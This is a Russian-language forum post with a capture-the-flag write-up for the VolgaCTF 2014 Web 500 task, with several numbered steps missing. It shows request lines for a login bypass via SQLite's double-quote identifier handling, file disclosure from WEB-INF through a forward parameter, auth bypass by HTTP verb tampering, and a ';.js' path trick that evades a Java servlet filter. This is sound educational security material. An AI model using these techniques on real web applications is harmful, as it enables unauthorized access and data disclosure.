![]() |
VolgaCTF 2014 Quals writeup
Web 500
1) Вызываем любую ошибку (например, 404), получаем HTTP заголовок про параметр debug Код:
X-Error:Something wrong. Try "debug" parameter. /login?login=test&password=test&debug Код:
<!-- Debug: SQLite: SELECT 1 FROM users WHERE log = "test" AND pass = "test"; --> https://sqlite.org/lang_keywords.html If a keyword in double quotes (ex: "key" or "glob") is used in a context where it cannot be resolved to an identifier but where a string literal is allowed, then the token is understood to be a string literal instead of an identifier. Таким образом, значения в двойных кавычках сначала интерпретируются как колонка, и если не вышло - то как строка. То есть Код:
log = "log" AND pass = "pass" Код:
log = log AND pass = pass Код:
TRUE 4) На самом сайте нас встречает строка Код:
Thank you Mario! /login?login=log&password=pass Результат: перенаправление на /welcome /login?login=log&password=pass&next=/welcome Результат: Содержимое /welcome без перенаправления Предполагаем, что параметр next отвечает за forward запроса на другой сценарий http://docs.oracle.com/javaee/5/api/...rvletResponse) 6) Forward запроса на произвольный файл дает нам как минимум две замечательных вещи: - На перенаправляемый запрос не действуют фильтры, описанные в web.xml - Запрос можно перенаправлять на файлы из папки WEB-INF /login?login=log&password=pass&next=/WEB-INF/web.xml По web.xml нужно узнать о следующем: - Путь к исходному коду Код:
<filter-name>SessionFilter</filter-name> Код:
<init-param> Код:
<!-- /login?login=log&password=pass&next=/WEB-INF/classes/web/task/LoginServlet.class /login?login=log&password=pass&next=/WEB-INF/classes/web/task/SessionFilter.class 8) Из LoginServlet мы узнаем о имени SQLite базы данных, которая расположена в веб-директории Код:
String path = getServletConfig().getInitParameter("dbpath"); Однако, в базе данных только учетная запись администратора, под которой мы и так смогли зайти, и строчка Код:
Thank you Mario! But our princess is in another castle! Код:
private boolean matchExcludeFilterPattern(String url) 10) Обходим basic-авторизацию используя Verb Tampering, найденный в шаге 6 Код:
XXX /AdminPanel_1C4ixvDOr4hFkFpTb2L112Ci631GK/ HTTP/1.1 11) Так как подделать свой IP адрес на значение 1.3.3.7 нам не удается, следовательно, нужно обойти логику фильтра. Фильтр не доходит до проверки IP адреса в случае, если matchExcludeFilterPattern возвращает TRUE. Но функция getRequestURL() возвращает следующее значение: http://docs.oracle.com/javaee/6/api/...etRequestURL() Reconstructs the URL the client used to make the request. The returned URL contains a protocol, server name, port number, and server path, but it does not include query string parameters. То есть, нам необходимо, чтобы "server path" заканчивался на ".js", но при этом запрос должен обрабатывать сервлет, расположенный на пути: /AdminPanel_1C4ixvDOr4hFkFpTb2L112Ci631GK/ Вспоминаем о возможности передавать параметры через точку с запятой и пробуем: Код:
XXX /AdminPanel_1C4ixvDOr4hFkFpTb2L112Ci631GK/;.js HTTP/1.1 Код:
<h2>FLAG_e3c7c09b3cf3927dfb52c85d74cda133</h2> PS: На данный момент задание все еще работает и можно попробовать повторить все шаги самостоятельно |
Часовой пояс GMT +3, время: 23:12. |
Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2022, Jelsoft Enterprises Ltd. Перевод: zCarot